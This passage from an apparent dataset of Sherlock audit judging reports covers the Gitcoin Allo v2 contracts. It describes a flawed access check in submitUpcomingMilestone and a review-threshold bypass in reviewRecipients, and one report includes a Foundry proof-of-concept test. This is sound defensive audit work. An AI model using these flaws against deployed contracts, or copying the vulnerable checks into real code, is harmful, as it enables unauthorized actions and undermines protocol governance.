Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255-L257\n```solidity\nif (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n}\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nUse an `OR (||)` operator instead of an `AND (&&)` operator, making it necessary for both statements to be false in order to not revert the call.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/601.md"}} +{"title":"The access control check for `RFPSimpleStrategy::submitUpcomingMilestone()` is wrong","severity":"medium","body":"Energetic Berry Llama\n\nhigh\n\n# The access control check for `RFPSimpleStrategy::submitUpcomingMilestone()` is wrong\n`RFPSimpleStrategy::submitUpcomingMilestone()` function checks some conditions before execution. It is incorrectly implemented according to developer comments.\n\n## Vulnerability Detail\nIn the `RFPSimpleStrategy` strategy, milestones are set and a recipient is accepted. Then, the accepted recipient calls `submitUpcomingMilestone()` function with metadata which is proof of work for the upcoming milestone.\n\nTo be able to call the `submitUpcomingMilestone()` function, `msg.sender` must be the accepted recipient ***AND*** must be a member of a profile. Unfortunately, the function only reverts if both of the conditions are not met. In other words, the function checks if the `msg.sender` is the accepted recipient ***OR*** a member of the profile.\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L250C1-L251C51](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L250C1-L251C51)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255C47-L255C49](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255C47-L255C49)\n\n```solidity\n /// @notice Submit milestone by the acceptedRecipientId.\n--> /// @dev 'msg.sender' must be the 'acceptedRecipientId' and must be a member\n /// of a 'Profile' to sumbit a milestone. Emits a 'MilestonesSubmitted()' event.\n /// @param _metadata The proof of work\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n--> if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) { //@audit it should be || not the &&\n revert UNAUTHORIZED();\n }\n```\n\nIt reverts only if both of the conditions are not met. It doesn't revert if the `msg.sender` is not the `acceptedRecipient` but is a member, or vice versa.\n\n## Impact\nIt will let others to submit upcoming milestone even if they are not the `acceptedRecipient`. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255C9-L256C35\n\n```solidity\n /// @notice Submit milestone by the acceptedRecipientId.\n--> /// @dev 'msg.sender' must be the 'acceptedRecipientId' and must be a member\n /// of a 'Profile' to sumbit a milestone. Emits a 'MilestonesSubmitted()' event.\n /// @param _metadata The proof of work\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n--> if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) { //@audit it should be || not the &&\n revert UNAUTHORIZED();\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange this:\n`if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender))`\n\nto this:\n`if (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender))`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/523.md"}} +{"title":"Incorrect Access Control in submitUpcomingMilestone Function","severity":"medium","body":"Uneven Holographic Llama\n\nmedium\n\n# Incorrect Access Control in submitUpcomingMilestone Function\nThe submitUpcomingMilestone function in the RFPSimpleStrategy smart contract contains an access control flaw that diverges from its specified documentation. Instead of exclusively allowing the acceptedRecipientId who is also a member of the Profile to call the function, it grants any member of the Profile the right to invoke it.\n\n## Vulnerability Detail\nThe function's access control logic checks if:\n\n* msg.sender is not the acceptedRecipientId.\n* msg.sender is not a member of the Profile.\n\nThe transaction is **reverted only if both conditions are true** due to the \"&&\" sign. This implies that if either of the conditions is false (meaning msg.sender is either the acceptedRecipientId or a member of the Profile), the function call will be successful.\n\nThis divergent behavior from the documentation might allow unauthorized users (all members of the Profile other than the acceptedRecipientId that is a member of the profile) to submit milestones. Even though it's not expected for profile members to act maliciously, this check is not sufficient to enforce the developer team's access control intention.\n\n## Impact\nThis flaw can lead to undesired state changes in the contract. While members of the Profile are presumably trusted entities, the failure to adhere to the specified access control can open up the contract to unintended actions. If a member of the Profile acts contrary to the expected behavior, they could manipulate milestones. This is important to teams that constantly onboard new members or who end up diverging interests at some point.\n Teams may end up adding new profile members with too much access to operations vital to receiving allocations.\n\n## Code Snippet\n[submitUpcomingMilestone](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-L271)\n```solidity\nfunction submitUpcomingMilestone(Metadata calldata _metadata) external {\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n ...\n}\n```\n\nThe documentation states:\n\n'msg.sender' must be the 'acceptedRecipientId' and must be a member of a 'Profile' to submit a milestone.\n\nBut the code allows for:\n\nmsg.sender is the acceptedRecipientId OR\nmsg.sender is a member of the Profile.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo rectify this vulnerability, the access control logic should be revised to match the developer's intent and documentation. Specifically, the function should be callable only by the acceptedRecipientId who is also a member of the Profile. The logic can be modified as follows:\n\n```solidity\nif (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n}\n\n```\nThis change ensures that the function can only be accessed by the acceptedRecipientId if they are concurrently a member of the Profile, thereby adhering to the provided documentation and intended behavior.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/365.md"}} +{"title":"RFPSimpleStrategy:submitUpcomingMilestone Access Violation","severity":"medium","body":"Proud Honey Aardvark\n\nmedium\n\n# RFPSimpleStrategy:submitUpcomingMilestone Access Violation\nWhen submitting a milestone the check in [RFPSimpleStrategy.sol#L255](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L254-L255) does not implement the access control correctly as specified one line above.\n\n## Vulnerability Detail\nThe check is suppose to verify that:\n```Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'```.\nas specifed in [RFPSimpleStrategy.sol#L254](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L254)\n\nWhen implementing the check the developer ignored the _De Morgan's laws_ when negating the condition.\n\nThe _De Morgan's laws_ state:\n```solidity\n!(A && B) == !A || !B\n```\n\n## Impact\nThis bug allows anyone with the correct profile or the acceptedRecipientId to submit an upcoming milestone.\nThe impact is amplified in combination with bug #2.\n\n## Code Snippet\n [RFPSimpleStrategy.sol#L254](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L254)\n## Tool used\n\nManual Review\n\n## Recommendation\nReplace the ```&&``` with an ```||```.\n```solidity\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n- if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n+ if (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/303.md"}} +{"title":"RFPSimpleStrategy#submitUpcomingMilestone","severity":"medium","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# RFPSimpleStrategy#submitUpcomingMilestone\nFunction `submitUpcomingMilestone` in RFPSimpleStrategy is used by the `acceptedRecipient` to submit his \"proof of work\" and eventually receive his payment for the completion of this milestone. \n\nTherefore, it makes sense that only the `acceptedRecipient` should be able to submit milestones as he's the one doing the work. This is also confirmed by the comments for the function:\n```solidity\n/// @notice Submit milestone by the acceptedRecipientId.\n /// @dev 'msg.sender' must be the 'acceptedRecipientId' and must be a member\n /// of a 'Profile' to sumbit a milestone. Emits a 'MilestonesSubmitted()' event.\n /// @param _metadata The proof of work\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n```\nHowever, the current implementation lets anyone submit upcoming milestones as long as he's just a profile member.\n## Vulnerability Detail\nLet's take a look at the check that is supposed to make sure that the user submitting the milestone is `acceptedRecipient` and is a `profileMember`:\n```solidity\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n```\nHowever, passing this check requires `msg.sender` to only be a profile member as `!_isProfileMember(acceptedRecipientId, msg.sender)` will return 0 and we won't enter the if.\n\nThe result is that any member of the profile can submit upcoming milestones which is obviously not the intention of the logic and it severely hurts the contracts' functionality as this is one of the most essential functions.\n\nThe PoolOwner can reject milestones but if you can't trust that the submitted milestones are coming from the person who is supposed to be submitting them then the whole reason for such a function to exist doesn't make sense.\n## Impact\nAny member can submit upcoming milestones with whatever fake \"proof of work\" he wants pretty much making the whole Milestones functionality useless.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255\n## Tool used\n\nManual Review\n\n## Recommendation\nReplace the `&&` with `||`:\n```solidity\n if (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/300.md"}} +{"title":"Incorrect validation in `submitUpcomingMilestone()`","severity":"medium","body":"Little Cloth Coyote\n\nmedium\n\n# Incorrect validation in `submitUpcomingMilestone()`\nAuthorization checks for milestone submissions are not implemented correctly.\n\n## Vulnerability Detail\nAccording to the `submitUpcomingMilestones()` NatSpec, it's expected that `msg.sender` should be both the `acceptedRecipientId` AND a profile member. However, the current implementation does not enforce this correctly. It allows individuals who are not profile members but are `acceptedRecipientId` to call this function. Conversely, it also permits profile members who are not `acceptedRecipientId` to bypass this check and submit milestones on behalf of `acceptedRecipientId`. This behavior deviates from the intended functionality and may lead to unauthorized milestone submissions.\n\n```solidity\n /// @notice Submit milestone by the acceptedRecipientId.\n /// @dev 'msg.sender' must be the 'acceptedRecipientId' and must be a member\n /// of a 'Profile' to sumbit a milestone. Emits a 'MilestonesSubmitted()' event.\n /// @param _metadata The proof of work\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n\n```\n## Impact\nUnauthorized individual can submit milestones.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n- if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n+ if (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/259-best.md"}} +{"title":"The review threshold can be easily bypassed by any manager","severity":"medium","body":"Shambolic Misty Dragon\n\nhigh\n\n# The review threshold can be easily bypassed by any manager\nThe review threshold can be easily bypassed by any manager\n\n## Vulnerability Detail\nTo register a new recipient, a specific threshold must be met:\n\n```solidity\nreviewsByStatus[recipientId][recipientStatus] >= reviewThreshold\n```\n\nPool managers can vote to approve add of a new recipient by calling the `reviewRecipients` function. Unfortunately, there is no check to ensure that a manager has not already voted for this recipient. Consequently, if `reviewThreshold = 5`, a pool manager can call the `reviewRecipients` function five times and single-handedly approve the recipient.\n\nThe review threshold can be easily bypassed by any manager by calling the function as many times as necessary to approve the recipient.\n\n## Impact\nUnwanted recipient can be added.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254\n\n\n```solidity\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck if the manager has already voted for this recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/886.md"}} +{"title":"A single pool manager can accept or reject recipients.","severity":"medium","body":"Oblong Clay Kangaroo\n\nhigh\n\n# A single pool manager can accept or reject recipients.\nIn QVBaseStrategy's reviewRecipients, a single reviewer can change a recipient's Status.\n\n## Vulnerability Detail\n### details\n\n`QVBaseStrategy` requires multiple managers to review recipients and agree on a `reviewThreshold` before they can be accepted or rejected.\n\n```solidity\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\nIf manager put duplicate `_recipientIds` as arguments to `reviewRecipients`, `reviewsByStatus` can be incremented many times.\n## Impact\nA malicious manager can arbitrarily accept or reject, and even non-malicious managers can accidentally cast duplicate votes.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCreate and manage a mapping to check if the manager has voted.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/868.md"}} +{"title":"Pool managers can update the recipient's status at their discretion.","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# Pool managers can update the recipient's status at their discretion.\nPool managers can update the recipient's status at their discretion by calling **reviewRecipients()** function multiple times.\n\n## Vulnerability Detail\nThe status of recipient is controlled by pool managers. Pool managers can update recipient's status by calling **reviewRecipients()** function. If the number of reviews by the pool manager reaches the specified threshold **reviewThreshold** , the recipient's status will be updated to the value specified by the pool manager.(line 275-277)\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L273-L280\n\nBased on my understanding, **reviewThreshold** is a threshold value, and the recipient's status can only be updated if at least 'reviewThreshold' pool managers agree to update it. However, the **reviewThreshold** has no significance; as long as one pool manager can continuously call the **reviewRecipients()** function until the number of reviews reaches the **reviewThreshold**, the recipient's status can be updated.\n\n## Impact\nPool managers can update the recipient's status at their discretion.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a check to ensure that when the recipient's status is updated to a specific status, each pool manager can only review once.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/822.md"}} +{"title":"`QVBaseStrategy::reviewRecipients()` doesn't check if the manager already reviewed the recipient","severity":"medium","body":"Energetic Berry Llama\n\nmedium\n\n# `QVBaseStrategy::reviewRecipients()` doesn't check if the manager already reviewed the recipient\n`QVBaseStrategy::reviewRecipients()` doesn't check if the manager already reviewed the recipient, and the same manager can review the same recipient.\n\n## Vulnerability Detail\nPool managers can accept or reject the pending recipient applications with the `reviewRecipients()` function in the QV strategy contracts. Recipients must reach the `reviewThreshold` to be accepted. The review counts of the recipients are tracked with `reviewsByStatus` mapping.\n\nHowever, the `QVBaseStrategy::reviewRecipients()` function doesn't check if the pool manager already reviewed that recipient, and increments the review count in the `reviewsByStatus` mapping.\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6)\n\n```solidity\nfile: QVBaseStrategy.sol\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) { \n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) { \n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n\nAs you can see above, there is no check in the function in terms of which manager reviewed which recipient.\n\n## Coded PoC\n\nYou can prove the issue using the protocol's own test setup with this PoC below. \n\\- Copy the snippet and paste it into the `QVBaseStrategy.t.sol` test file. \n\\- run `forge test --match-test test_reviewRecipient_ReviewMultipleTimes_WithSameManager`\n\n```solidity\n // Review the same recipient with the same manager. \n function test_reviewRecipient_ReviewMultipleTimes_WithSameManager() public virtual {\n address recipientId = __register_recipient();\n\n // Create the status\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);\n Statuses[0] = IStrategy.Status.Accepted;\n\n // Accept two times with the same manager\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n // Status will be updated.\n assertEq(uint8(qvStrategy().getRecipientStatus(recipientId)), uint8(IStrategy.Status.Accepted));\n assertEq(qvStrategy().reviewsByStatus(recipientId, IStrategy.Status.Accepted), 2);\n }\n```\n\nThe test result is shown below:\n\n```solidity\nRunning 1 test for test/foundry/strategies/QVSimpleStrategy.t.sol:QVSimpleStrategyTest\n[PASS] test_reviewRecipient_ReviewMultipleTimes_WithSameManager() (gas: 174977)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.88ms\n```\n\n## Impact\nThe recipient can be reviewed multiple times by the same manager which can change the recipient status.\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6)\n\n```solidity\nfile: QVBaseStrategy.sol\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) { \n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) { \n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nI would recommend adding a new mapping that checks if a manager reviewed the recipient or not, and using it in the function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/718.md"}} +{"title":"PoolManager of QVBaseStrategy.sol can Review the Same Applications Multiple Times","severity":"medium","body":"Mini Garnet Squirrel\n\nmedium\n\n# PoolManager of QVBaseStrategy.sol can Review the Same Applications Multiple Times\nThe QVBaseStrategy.sol contract allows PoolManagers to review recipient applications. However, there is a vulnerability that allows PoolManagers to review the same applications multiple times, potentially bypassing the(reviewThreshold) intended review process.\n\n## Vulnerability Detail\nThe `reviewRecipients` function is used to review the applications of recipients. This function takes `address[] calldata _recipientIds, Status[] calldata _recipientStatuses` as input parameters. It increases the `reviewThreshold` state variable by one, indicating that some pool manager has reviewed the application. The intention here is to allow multiple pool managers to review applications.\n\nFor example, suppose there are 10 people who called the `_registerRecipient ` function, and there are 4 Pool Managers (A, B, C, D) with a reviewThreshold set to 2.\n\nIf pool manager A calls the reviewRecipients function to review all 10 applications, there is no check in place to see if pool manager A has already reviewed these participants or not. This allows pool manager A to review or call this function again and again until all participants have passed the threshold check.\n\nEven if pool managers are trusted, they should not be allowed to do this repeatedly.\n\nIf someone's application gets rejected, it also means that they have passed the ` reviewThreshold` . If they choose to appeal by calling the `_registerRecipient` function again, only in this case should pool manager A be allowed to review that application.\n\n## Impact\n\nThe impact of this vulnerability is that it could undermine the fairness and integrity of the recipient review process. PoolManagers could repeatedly review the same applications, leading to an unbalanced and potentially biased decision-making process. This could result in some recipients being unfairly accepted or rejected applications.\n\n## Code Snippet\n\n```solidity\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n{\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n}\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L275\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo mitigate this vulnerability, consider implementing a mechanism to prevent PoolManagers from reviewing the same recipient applications multiple times. This could be achieved by maintaining a record of which PoolManager has already reviewed each application and disallowing multiple reviews by the same PoolManager for the same application.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/705.md"}} +{"title":"One pool manager can review a same application multiple times to break design of ````reviewThreshold````","severity":"medium","body":"Atomic Ultraviolet Mole\n\nmedium\n\n# One pool manager can review a same application multiple times to break design of ````reviewThreshold````\nIn ````QV```` based strategy, there is a design of ````reviewThreshold```` that an application would be ````Accepted```` or ````Rejected```` if ````review```` count reaches the ````reviewThreshold````. As my understanding, it's a security design similar to ````M of N```` multisig. Therefore, one pool manager should not be allowed to ````review```` on a same application repeatedly.\n\n## Vulnerability Detail\nLet's look at the ````reviewRecipients()```` of ````QVBaseStrategy```` contract, there is no limit on multiple ````reviews```` from one manager to a same ````recipient````.\n```solidity\nFile: contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n254: function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n255: external\n256: virtual\n257: onlyPoolManager(msg.sender)\n258: onlyActiveRegistration\n259: {\n260: // make sure the arrays are the same length\n261: uint256 recipientLength = _recipientIds.length;\n262: if (recipientLength != _recipientStatuses.length) revert INVALID();\n263: \n264: for (uint256 i; i < recipientLength;) {\n265: Status recipientStatus = _recipientStatuses[i];\n266: address recipientId = _recipientIds[i];\n267: \n268: // if the status is none or appealed then revert\n269: if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n270: revert RECIPIENT_ERROR(recipientId);\n271: }\n272: \n273: reviewsByStatus[recipientId][recipientStatus]++;\n274: \n275: if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) 